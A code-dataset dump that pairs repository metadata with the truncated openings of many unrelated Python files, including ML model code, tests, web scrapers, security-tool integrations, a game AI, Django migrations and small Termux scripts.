0.59026
e0017bfd7ff6f9eea66678e59bdf77a997366734
19,170
py
Python
autojail/config/devicetree.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/config/devicetree.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/config/devicetree.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
import subprocess from collections import defaultdict from pathlib import Path from typing import Dict, List, MutableMapping, Optional, Tuple # import fuzzywuzzy.process from dataclasses import dataclass from mako.template import Template from ortools.util.sorted_interval_list import Domain from autojail.model.jailho...
33.16609
180
0.564737
e00388e8de4a9021acab183a0fce3fe7f931d0f0
307
py
Python
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/105_classes_abstratas/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/105_classes_abstratas/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/105_classes_abstratas/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
from classes.conta_poupanca import ContaPoupanca from classes.conta_corrente import ContaCorrente cp = ContaPoupanca(1111, 2222, 0) cp.depositar(10) cp.sacar(5) cp.sacar(5) cp.sacar(5) print('#' * 40) cc = ContaCorrente(1111, 222, 0, 500) cc.depositar(100) cc.sacar(250) cc.sacar(500) cc.depositar(1000)
18.058824
48
0.752443
e058e74c3a8d5185ed3d01928d3e3d196078b753
6,220
py
Python
applications/neural_search/recall/simcse/recall.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
applications/neural_search/recall/simcse/recall.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
applications/neural_search/recall/simcse/recall.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
44.113475
131
0.686013
bca4f6388530e191f2a1f8b5889823b25842bf63
7,650
py
Python
pycsw/pycsw/plugins/outputschemas/fgdc.py
Geosoft2/Geosoftware-II-AALLH
bdb61d9a1111b9082ec2b9f309998c5f2166975e
[ "MIT" ]
2
2015-10-20T17:16:09.000Z
2019-02-25T21:12:51.000Z
pycsw/pycsw/plugins/outputschemas/fgdc.py
Geosoft2/Geosoftware-II-AALLH
bdb61d9a1111b9082ec2b9f309998c5f2166975e
[ "MIT" ]
38
2018-10-24T08:51:58.000Z
2021-12-13T19:54:39.000Z
pycsw/pycsw/plugins/outputschemas/fgdc.py
Geosoft2/Geosoftware-II-AALLH
bdb61d9a1111b9082ec2b9f309998c5f2166975e
[ "MIT" ]
12
2018-10-24T08:20:13.000Z
2019-08-12T08:10:14.000Z
# -*- coding: utf-8 -*- # ================================================================= # # Authors: Tom Kralidis <tomkralidis@gmail.com> # # Copyright (c) 2015 Tom Kralidis # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the ...
42.265193
125
0.681699
4c7b11af2ca98dde6c2244c86b9e4cbe91b8e741
1,591
py
Python
tests/test_toc.py
flat35hd99/jupyter-book
4d5b474e6f2b80c4d1d206e4554740ff82a344dc
[ "BSD-3-Clause" ]
2,109
2020-05-02T23:47:18.000Z
2022-03-31T22:16:54.000Z
tests/test_toc.py
flat35hd99/jupyter-book
4d5b474e6f2b80c4d1d206e4554740ff82a344dc
[ "BSD-3-Clause" ]
1,158
2020-04-29T18:07:02.000Z
2022-03-31T21:50:57.000Z
tests/test_toc.py
flat35hd99/jupyter-book
4d5b474e6f2b80c4d1d206e4554740ff82a344dc
[ "BSD-3-Clause" ]
360
2020-04-29T14:44:49.000Z
2022-03-31T09:26:23.000Z
from pathlib import Path import yaml from click.testing import CliRunner from sphinx_external_toc.cli import create_toc path_books = Path(__file__).parent.joinpath("books") def test_toc_basic(cli: CliRunner, build_resources): books, tocs = build_resources # run(f"jb toc from-project {tocs} -f jb-article".sp...
31.196078
75
0.694532
fc3dece927f16f33ecfec8e491d3d83be32a1235
267
py
Python
0-notes/job-search/Cracking the Coding Interview/C09SystemDesignScalability/questions/9.7-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C09SystemDesignScalability/questions/9.7-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C09SystemDesignScalability/questions/9.7-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# Personal Financial Manager # Explain how you would design a personal financial manager like Mint.com. # This system would connect to your bank accounts, analyze your spending habits, # and make recommendations. # time complexity: O() # space complexity: O()
33.375
80
0.756554
db4102e4444153d66449c56f384e0b0c18c26526
640
py
Python
30 Days of Code/30DoC-day-13/30DoC_day_13.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
30 Days of Code/30DoC-day-13/30DoC_day_13.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
30 Days of Code/30DoC-day-13/30DoC_day_13.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
from abc import ABCMeta, abstractmethod class Book(object, metaclass=ABCMeta): def __init__(self, title, author): self.title = title self.author = author @abstractmethod def display(): pass # Write MyBook class class MyBook(Book): def __init__(self, title, author, price): s...
20.645161
45
0.634375
532df0cc71fed912adc1d5dfd16dfc13a7e589ec
571
py
Python
exercises/ja/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/ja/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/ja/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
def test(): assert len(pattern) == 2, "パターンは2つのトークンについて表現している必要があります。(2つの辞書からなります。)" assert isinstance(pattern[0], dict) and isinstance( pattern[1], dict ), "パターンのそれぞれの要素は辞書である必要があります。" assert len(pattern[0]) == 1 and len(pattern[1]) == 1, "パターンのそれぞれの要素は1つのキーからなります。" assert any( patt...
38.066667
85
0.642732
22e08610cede5080785849032241f0a04915eb6d
18,370
py
Python
phypidaq/runPhyPiUi.py
RMGrau/PhyPiDAQ
e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54
[ "BSD-2-Clause" ]
7
2018-11-30T13:38:27.000Z
2021-03-10T15:37:56.000Z
phypidaq/runPhyPiUi.py
RMGrau/PhyPiDAQ
e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54
[ "BSD-2-Clause" ]
5
2020-11-11T09:19:00.000Z
2022-02-06T09:04:55.000Z
phypidaq/runPhyPiUi.py
RMGrau/PhyPiDAQ
e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54
[ "BSD-2-Clause" ]
16
2019-04-16T10:15:45.000Z
2021-12-15T14:59:31.000Z
#!/usr/bin/python3 # -*- coding: utf-8 -*- from __future__ import print_function, division, unicode_literals from __future__ import absolute_import from builtins import super ''' GUI to control run_phipy.py - select and edit configuration files - select working direcotory - start data taking via exec...
36.88755
101
0.626075
43b2e4b4ce20732deaad884111a8a1ff0c692de0
1,321
py
Python
fabfile.py
whatifrussian/xkcdbird
e21cd93b6f45ef04a46328cdd0feececfdd58984
[ "Unlicense" ]
null
null
null
fabfile.py
whatifrussian/xkcdbird
e21cd93b6f45ef04a46328cdd0feececfdd58984
[ "Unlicense" ]
null
null
null
fabfile.py
whatifrussian/xkcdbird
e21cd93b6f45ef04a46328cdd0feececfdd58984
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- from fabric.api import * import fabric.contrib.project as project import os # Local path configuration (can be absolute or relative to fabfile) env.deploy_path = 'output' DEPLOY_PATH = env.deploy_path # Remote server configuration env.user="www-data" env.hosts = ["chtoes.li"] path = { ...
24.924528
74
0.658592
60622adf0f5ff6d45b2d18acc0344846065a96ef
1,349
py
Python
Versuch2/task1.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
null
null
null
Versuch2/task1.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
null
null
null
Versuch2/task1.2.py
Tobias-Schoch/SSS
f8b078ca7f6482fc7c89d5f9e784a549459eefb7
[ "MIT" ]
1
2022-01-06T12:47:53.000Z
2022-01-06T12:47:53.000Z
import numpy as np import cv2 # -------- Aufgabe1.2 -------- # # Vector um Grenz- und Breitenwert zu speichern vec = np.zeros((5, 2)) crop = ["crop1", "crop2", "crop3", "crop4", "crop5"] # Grauwertkeil einlesen - Bild ist warum auch immer blau , deshalb in Grau umwandeln image = cv2.imread('data/Versuch1a.png', cv2....
26.98
84
0.644181
e0ea86bb1b4f2cf6e2a3d1d3f18f95682afed80d
11,996
py
Python
model/topoml_util/test_geom_loss.py
Empythy/geometry-learning
5300d421ef848c2748a2ba41ced5c6e2fba93200
[ "MIT" ]
21
2018-10-09T08:15:29.000Z
2022-03-16T08:23:08.000Z
model/topoml_util/test_geom_loss.py
reinvantveer/Topology-Learning
5300d421ef848c2748a2ba41ced5c6e2fba93200
[ "MIT" ]
31
2017-09-20T13:30:37.000Z
2018-03-01T13:24:58.000Z
model/topoml_util/test_geom_loss.py
reinvantveer/Topology-Learning
5300d421ef848c2748a2ba41ced5c6e2fba93200
[ "MIT" ]
7
2018-11-29T11:39:02.000Z
2022-01-12T07:10:26.000Z
import unittest import numpy as np import tensorflow as tf from keras import backend as K from .gaussian_loss import geom_gaussian_loss, bivariate_gaussian_loss, univariate_gaussian_loss PRECISION = 6 sess = tf.InteractiveSession() class TestGeomLossFunction(unittest.TestCase): def test_zero_loss(self): ...
51.706897
115
0.613288
1c20d615b431a7883f4d58467e510718132f3dc8
7,722
py
Python
Library/firebase_admin/credentials.py
TrojanCrypto/Dashboard
3af795980c7aa90505afae684297e43366cb6ee5
[ "MIT" ]
null
null
null
Library/firebase_admin/credentials.py
TrojanCrypto/Dashboard
3af795980c7aa90505afae684297e43366cb6ee5
[ "MIT" ]
null
null
null
Library/firebase_admin/credentials.py
TrojanCrypto/Dashboard
3af795980c7aa90505afae684297e43366cb6ee5
[ "MIT" ]
null
null
null
# Copyright 2017 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
37.125
97
0.672753
1c83d43d917a83080a1764482e7dcc3e0060d1d5
1,783
py
Python
research/cv/vgg19/src/utils/sampler.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/vgg19/src/utils/sampler.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/vgg19/src/utils/sampler.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
33.641509
86
0.642176
292731da7f4c89c2e7265c4c4a791b7581648a68
7,640
py
Python
classification/scripts/configs/ConfigurationsRB.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
1
2020-07-11T04:24:40.000Z
2020-07-11T04:24:40.000Z
classification/scripts/configs/ConfigurationsRB.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
null
null
null
classification/scripts/configs/ConfigurationsRB.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
null
null
null
# Configuration-File Class # Class consisting of list for different configs class Configurations: configs = [ {#0 # text preprocessing "textToLowerCase": True, "textReplaceUmlaut": True, "textPriceTagger": True, "textRemoveSpecialCharacters": Tru...
32.7897
54
0.535602
82dbde2472cffaaec130cb15ef5fab7d3864dd65
3,911
py
Python
prok.py
V4ASWU888/hekfb
2dcaacc896cbb768e17ed4a0553b4a86f4ca87cd
[ "Apache-2.0" ]
null
null
null
prok.py
V4ASWU888/hekfb
2dcaacc896cbb768e17ed4a0553b4a86f4ca87cd
[ "Apache-2.0" ]
null
null
null
prok.py
V4ASWU888/hekfb
2dcaacc896cbb768e17ed4a0553b4a86f4ca87cd
[ "Apache-2.0" ]
null
null
null
# Tertusbol Oleh Kang Pacman import os, random, sys, time try: import requests as rek except ImportError: os.system("pkg update ") m = '\x1b[31;1m' h = '\x1b[32;1m' b = '\x1b[34;1m' p = '\x1b[37;1m' m_ = '\x1b[41;1m' n = '\x1b[00;1m' logo = ('{}\n\t _ _ ___ ____ __ ___ __ _\n\t( \\/ )/ __)( _ \\ / _\...
39.908163
387
0.56226
82e1206aec520045422ff31b4c2206da3d181019
1,834
py
Python
scrapers/scrape_be.py
AryaVashisht/covid_19
0c734615a1190a5b2fff4697f47731ef2b8b6918
[ "CC-BY-4.0" ]
null
null
null
scrapers/scrape_be.py
AryaVashisht/covid_19
0c734615a1190a5b2fff4697f47731ef2b8b6918
[ "CC-BY-4.0" ]
null
null
null
scrapers/scrape_be.py
AryaVashisht/covid_19
0c734615a1190a5b2fff4697f47731ef2b8b6918
[ "CC-BY-4.0" ]
null
null
null
#!/usr/bin/env python3 from bs4 import BeautifulSoup import re import scrape_common as sc html_url = 'https://www.besondere-lage.sites.be.ch/besondere-lage_sites/de/index/corona/index.html' d = sc.download(html_url, silent=True) soup = BeautifulSoup(d, 'html.parser') for t in soup.find_all('table', {'summary': 'Lauf...
38.208333
119
0.562704
738cbd7269ddb5dadc7dbc566b1669393dfec22f
9,324
py
Python
Packs/ReversingLabs_Titanium_Cloud/Integrations/ReversingLabsTitaniumCloud/ReversingLabsTitaniumCloud.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/ReversingLabs_Titanium_Cloud/Integrations/ReversingLabsTitaniumCloud/ReversingLabsTitaniumCloud.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/ReversingLabs_Titanium_Cloud/Integrations/ReversingLabsTitaniumCloud/ReversingLabsTitaniumCloud.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import os import re import demistomock as demisto # noqa: F401 import requests from CommonServerPython import * # noqa: F401 from requests.auth import HTTPBasicAuth VERSION = "v1.0.1" USER_AGENT = "ReversingLabs XSOAR TitaniumCloud {version}".format(version=VERSION) HEADERS = { "User-Agent": USER_AGENT } BASE_...
35.318182
116
0.544616
fb7a75049dbf6da2bcd0da3ca82d2d712ff3e768
16,378
py
Python
CS303/lab1-3/work/minimax/index.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
22
2018-08-07T06:55:10.000Z
2021-06-12T02:12:19.000Z
CS303/lab1-3/work/minimax/index.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
28
2020-03-04T23:47:22.000Z
2022-02-26T18:50:00.000Z
CS303/lab1-3/work/minimax/index.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
4
2019-11-09T15:41:26.000Z
2021-10-10T08:56:57.000Z
import numpy as np import random import time COLOR_BLACK = -1 COLOR_WHITE = 1 COLOR_NONE = 0 N = 5 T = 0.6 random.seed(0) STEP = 5 class AI(object): def __init__(self, chessboard_size, color, time_out): self.chessboard_size = chessboard_size self.color = color self.time_out = time_out ...
43.674667
104
0.428929
f7a6a16e236f9d81caa0e1d6c5c5c893cdda092a
2,645
py
Python
Packs/MicrosoftGraphAPI/Integrations/MicrosoftGraphAPI/MicrosoftGraphAPI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/MicrosoftGraphAPI/Integrations/MicrosoftGraphAPI/MicrosoftGraphAPI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/MicrosoftGraphAPI/Integrations/MicrosoftGraphAPI/MicrosoftGraphAPI_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import json import os import pytest from MicrosoftGraphAPI import MsGraphClient, generic_command def load_test_data(test_data_filename): with open(os.path.join('./test_data', test_data_filename)) as f: return json.load(f) @pytest.fixture() def client(requests_mock): requests_mock.post( 'ht...
25.931373
81
0.634026
f7c2cccccc839e171b2bcc80411c35e5879956eb
918
py
Python
src/test/tests/queries/py_queries.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/tests/queries/py_queries.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/tests/queries/py_queries.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ---------------------------------------------------------------------------- # CLASSES: nightly # # Test Case: py_queires.py # # Tests: python filters / python queries # plots - Pseudocolor # # # Programmer: Cyrus Harrison # Date: Fri May 21 09:14:07 PDT 2010 # # Modifications: # # ...
22.95
104
0.568627
b76d85a4e227aff0e001d0e3ab2d36ca384ade6d
5,232
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_linkagg.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_linkagg.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/icx/test_icx_linkagg.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
# Copyright: (c) 2019, Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible_collections.community.general.tests.unit.compat.mock import patch from ansible_collect...
42.193548
133
0.599771
4d2d8d101799043d240e379665e8b269dadfc6e9
47
py
Python
crawlab/config/__init__.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
1
2019-08-20T14:26:39.000Z
2019-08-20T14:26:39.000Z
crawlab/config/__init__.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
9
2019-05-24T03:53:09.000Z
2022-02-26T10:53:48.000Z
crawlab/config/__init__.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
1
2019-11-08T08:12:40.000Z
2019-11-08T08:12:40.000Z
# encoding: utf-8 from config.config import *
11.75
27
0.723404
1500199a8a71017821244d99abfee42c02140301
1,021
py
Python
webapp/app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
1
2021-11-30T14:42:42.000Z
2021-11-30T14:42:42.000Z
webapp/app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
null
null
null
webapp/app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
null
null
null
from flask import Flask, request, render_template from flask_caching import Cache import psycopg2 from kafka import KafkaProducer, KafkaConsumer #Verbindung zur DB try: conn_string = "host="+"postgres"+" port="+"5432"+" dbname="+"db"+ \ " user="+"postgres" + " password="+"postgres" con=psycopg2.c...
26.868421
77
0.640548
12bb5846cccc99b4f90a3db5fb37d5187ff0e4c3
3,227
py
Python
research/cv/stgcn/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/stgcn/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/stgcn/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
24.08209
78
0.590951
c47878a704031848ba46174268e35b101aa06b2e
637
py
Python
libs/textblob/TextBlobModel.py
surfmachine/language-detection
b44fbb4c7b59fc70388197653060cee67b5a2ee7
[ "MIT" ]
null
null
null
libs/textblob/TextBlobModel.py
surfmachine/language-detection
b44fbb4c7b59fc70388197653060cee67b5a2ee7
[ "MIT" ]
null
null
null
libs/textblob/TextBlobModel.py
surfmachine/language-detection
b44fbb4c7b59fc70388197653060cee67b5a2ee7
[ "MIT" ]
null
null
null
import os import sys sys.path.append(os.path.dirname(__file__)) from libs.AbstractLanguageDetectionModel import AbstractLanguageDetectionModel from textblob import TextBlob class TextBlobModel(AbstractLanguageDetectionModel): def __init__(self): AbstractLanguageDetectionModel.__init__(self, "TextBlob") ...
25.48
85
0.744113
67c9e9693263d1d5a56dbc7b347be61c4a757c39
474
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch08_binary_trees/intro/intro_traversals.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch08_binary_trees/intro/intro_traversals.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch08_binary_trees/intro/intro_traversals.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden def inorder(node): if node is None: return inorder(node.left) print(node.item) inorder(node.right) def preorder(node): if node is None: return print(node.item) preorder(node.left) ...
15.290323
50
0.64346
67e4103dd626d6eb0e2c95b884d9595570208bfb
58
py
Python
Python/zz_offtopic_sandbox/config_Project/any/get_config_params.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zz_offtopic_sandbox/config_Project/any/get_config_params.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zz_offtopic_sandbox/config_Project/any/get_config_params.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
import config_Project.config as co print(co.track_pre_id)
19.333333
34
0.844828
3f0d7fac5e90f1b6cc767bff8194757e45487576
10,013
py
Python
frappe-bench/apps/erpnext/erpnext/stock/doctype/item/test_item.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/stock/doctype/item/test_item.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/stock/doctype/item/test_item.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import unittest import frappe from frappe.test_runner import make_test_objects from erpnext.controllers.item_variant import (create_variant, ItemVarian...
32.3
89
0.717967
3f423bcc90bccf9270c71e820fae72305b551064
3,928
py
Python
Termux-GUI-main/Termux-GUI.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Termux-GUI-main/Termux-GUI.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Termux-GUI-main/Termux-GUI.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import os import urllib.request import requests import sys try: def con(): try: print(G+"\nChecking internet connection........\n") requests.get("http://google.com") except requests.ConnectionError: print(Y+""" <------------------------------>"""+R+""...
37.769231
107
0.274949
58e2ee2a8226afe7937502157e4227f43e85597d
22,279
py
Python
Tensorflow_basic_test/XOR_2.py
TrunkingW/Deep_Learning
85add772a2c613f8034985872eb3e44683d47bee
[ "MIT" ]
null
null
null
Tensorflow_basic_test/XOR_2.py
TrunkingW/Deep_Learning
85add772a2c613f8034985872eb3e44683d47bee
[ "MIT" ]
null
null
null
Tensorflow_basic_test/XOR_2.py
TrunkingW/Deep_Learning
85add772a2c613f8034985872eb3e44683d47bee
[ "MIT" ]
null
null
null
import tensorflow as tf import numpy as np def rand01(digit): # Add some random noise to bits, but keep always between 0 and 1 s = abs(np.random.normal(0.0, 0.05)) if digit == 0: noise = digit + s else: noise = digit - s return noise ### Training Examples ### All combinations of XOR X = [[30,10],[...
137.524691
746
0.44432
3d03b8462c910cf8df256ef4724569516740d36a
2,062
py
Python
kernel/slovaki/migrations/0003_auto_20180605_1614.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
kernel/slovaki/migrations/0003_auto_20180605_1614.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
kernel/slovaki/migrations/0003_auto_20180605_1614.py
sageteam/behpack
3b8afb81dc7da70807308af4c8a2d2ab92b1a133
[ "MIT" ]
null
null
null
# Generated by Django 2.0.6 on 2018-06-05 11:44 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('slovaki', '0002_auto_20180605_1611'), ] operations = [ migrations.AddField( model_name='slovakiawardscontent', name=...
38.185185
126
0.618332
1801501fdedf73af60d2c27bd415e03dd7ae94a6
278
py
Python
setup.py
Omaam/lat
bb72c43fc870a36e26a32b05000d091871e07ad5
[ "MIT" ]
null
null
null
setup.py
Omaam/lat
bb72c43fc870a36e26a32b05000d091871e07ad5
[ "MIT" ]
null
null
null
setup.py
Omaam/lat
bb72c43fc870a36e26a32b05000d091871e07ad5
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages setup( name='lat', version='0.0.1', description="Lightcurve Analysis Tool", long_description="", author='Tomoki Omama', classifiers=[ "Development Status :: 1 - Planning" ], packages=['lat'] )
19.857143
44
0.625899
62afe55417a0cb7a134508f177bb489e5b32ce0f
134
py
Python
